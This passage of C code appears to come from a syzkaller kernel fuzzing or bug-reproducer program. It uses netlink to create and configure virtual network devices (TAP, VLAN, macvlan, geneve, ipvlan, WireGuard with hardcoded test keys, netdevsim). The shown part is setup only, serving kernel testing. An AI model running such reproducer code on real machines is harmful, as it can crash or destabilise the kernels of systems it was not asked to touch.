netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
const int kInitNetNsFd = 239;
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME,
strlen(WG_GENL_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
/* Unused, but useful in case we change this:
const struct sockaddr_in endpoint_a_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_a),
.sin_addr = {htonl(INADDR_LOOPBACK)}};*/
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
/* Unused, but useful in case we change this:
const struct sockaddr_in6 endpoint_b_v6 = {
.sin6_family = AF_INET6,
.sin6_port = htons(listen_b)};
endpoint_b_v6.sin6_addr = in6addr_loopback; */
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_wireguard_id_get(&nlmsg, sock);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
